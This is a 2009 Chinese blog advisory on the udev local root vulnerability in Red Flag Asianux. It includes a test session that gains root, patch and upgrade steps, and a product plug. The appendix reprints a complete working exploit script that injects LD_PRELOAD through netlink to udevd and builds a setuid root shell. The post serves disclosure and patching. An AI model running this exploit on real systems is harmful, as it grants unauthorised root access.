Chinaunix首页 | 论坛 | 博客
  • 博客访问: 537283
  • 博文数量: 105
  • 博客积分: 6010
  • 博客等级: 准将
  • 技术积分: 1132
  • 用 户 组: 普通用户
  • 注册时间: 2008-10-15 09:57
文章分类

全部博文(105)

文章存档

2011年(1)

2009年(41)

2008年(63)

我的朋友

分类: LINUX

2009-05-04 09:20:51

前段时间(准确来说,应该是2009年4月24日),Linux的udev程序爆出本地提权漏洞,本地用户可以轻易获得root权限,经测试,漏洞影响红旗 Asianux 3.0 标准版和SP1 的各版本,但对DC Server 5.0没有影响。对应平台的朋友,请立即更新udev程序。

一、漏洞描述
该漏洞英文描述为:。系统中的普通用户利用该漏洞,可以直接提升到root管理员权限,问题相当严重。
在后面的链接中,描述了受影响的常见发行版本:点击

测试
从 找到一个测试代码。代码内容见附录。
在Asianux 3.0上,使用普通用户的测试情况:
引用
[linuxing@ftpserver ~]$ uname -r
2.6.18-8.10AX
[linuxing@ftpserver ~]$ ls -l
total 28
drwxr-xr-x 3 linuxing linuxing 4096 Apr 29 15:44 Desktop
-rwxrwxr-x 1 linuxing linuxing 3796 Apr 29 15:47 libno_ex.so.1.0
-rw-rw-r-- 1 linuxing linuxing 0 Apr 29 15:48 ls.txt
-rw-rw-r-- 1 linuxing linuxing 352 Apr 29 15:47 program.c
-rw-rw-r-- 1 linuxing linuxing 1888 Apr 29 15:47 program.o
-rw-rw-r-- 1 linuxing linuxing 80 Apr 29 15:47 suid.c
-rw-rw-r-- 1 linuxing linuxing 3519 Apr 29 2009 test.sh
-rw-rw-r-- 1 linuxing linuxing 2234 Apr 29 15:47 udev.c
[linuxing@ftpserver ~]$ id
uid=516(linuxing) gid=517(linuxing) groups=48(apache),517(linuxing)
[linuxing@ftpserver ~]$ cd /tmp
[linuxing@ftpserver tmp]$ ps -ef|grep udev
root 391 1 0 Apr23 ? 00:00:00 /sbin/udevd -d
linuxing 6400 6364 0 17:43 pts/0 00:00:00 grep udev
[linuxing@ftpserver tmp]$ sh test.sh 390 ← 使用udev进程号- 1
suid.c: 在函数 ‘main’ 中:
suid.c:3: 警告:隐式声明与内建函数 ‘execl’ 不兼容
cp: “libno_ex.so.1.0” 及 “/tmp/libno_ex.so.1.0” 为同一文件

sh-3.1#
sh-3.1# id
uid=0(root) gid=0(root) groups=48(apache),517(linuxing)

可见,普通用户linuxing获得root管理员权限。

二、解决问题
首先,这是一个本地漏洞,也就是说,并不能用于远程攻击。
红旗 Asianux 3.0 标准版和SP1,请使用下面的软件包升级:
i386 平台:
下载文件

x86_64 平台:
下载文件

源码包:
下载文件

升级后再测试:
引用
[linuxing@webapp ~]$ id
uid=512(linuxing) gid=512(linuxing) groups=512(linuxing)
[linuxing@webapp ~]$ ps -ef|grep udev
root      4548     1  0 23:50 ?        00:00:00 /sbin/udevd -d
linuxing    4695  4648  0 23:53 pts/0    00:00:00 grep udev
[linuxing@webapp ~]$ sh test.sh 4547
suid.c: 在函数 ‘main’ 中:
suid.c:3: 警告:隐式声明与内建函数 ‘execl’ 不兼容
sh-3.1$ id
uid=512(linuxing) gid=512(linuxing) groups=512(linuxing)

问题解决。

※ 使用其他平台的朋友,请使用下面的命令,进行源码编译后安装:

# rpmbuild --rebuild udev-095-14.20.src.rpm

◎ 其他发行版本,可分别升级:
Debian/Ubuntu 用户请执行:

# apt-get update ; apt-get upgrade -y

CentOS 用户请执行:

# yum update udev

RedHat 用户请使用官方rpm包更新或者购买RedHat的satellite服务。

※ 此外,该漏洞也提醒了我们:
部署关键业务系统时,除做好及时的补丁升级,防火墙、密码等安全策略工作外,利用RedCastle、grsecurity 等工具,配置更高级的安全策略还是非常有用的。
在这次的情况下,如果部署了红旗 RedCastle 服务器安全套件,即使不打漏洞补丁,黑客也不能利用该漏洞获得root权限,完全可以避免该问题的。
关于红旗 RedCastle 服务器安全套件的介绍,请见: 这里

三、附录
测试代码参考自: 和 。

代码下载:
下载文件
代码内容如下:

#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang

cat > udev.c << _EOF
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0

int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;

main(int argc, char **argv) {
        char sysfspath[SHORT_STRING];
        char subsystem[SHORT_STRING];
        char event[SHORT_STRING];
        char major[SHORT_STRING];
        char minor[SHORT_STRING];

        sprintf(event, "add");
        sprintf(subsystem, "block");
        sprintf(sysfspath, "/dev/foo");
        sprintf(major, "8");
        sprintf(minor, "1");

        memset(&address, 0, sizeof(address));
        address.nl_family = AF_NETLINK;
        address.nl_pid = atoi(argv[1]);
        address.nl_groups = 0;

        msg.msg_name = (void*)&address;
        msg.msg_namelen = sizeof(address);
        msg.msg_iov = &iovector;
        msg.msg_iovlen = 1;

        socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
        bind(socket_fd, (struct sockaddr *) &address, sizeof(address));

        char message[LONG_STRING];
        char *mp;

        mp = message;
        mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
        mp += sprintf(mp, "ACTION=%s", event) +1;
        mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
        mp += sprintf(mp, "MAJOR=%s", major) +1;
        mp += sprintf(mp, "MINOR=%s", minor) +1;
        mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
        mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;

        iovector.iov_base = (void*)message;
        iovector.iov_len = (int)(mp-message);

        char *buf;
        int buflen;
        buf = (char *) &msg;
        buflen = (int)(mp-message);

        sendmsg(socket_fd, &msg, 0);

        close(socket_fd);

  sleep(10);
//  execl("/tmp/suid", "suid", (void*)0);
}

_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include
#include
#include
#include
#include


void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
// execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
chown("/tmp/suid",0,0);
chmod("/tmp/suid",S_IRUSR|S_IWUSR|S_ISUID|S_IXUSR|S_IROTH|S_IXOTH);
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
       setgid(0); setuid(0);
       execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1

# milw0rm.com [2009-04-20]

/tmp/suid
阅读(2498) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~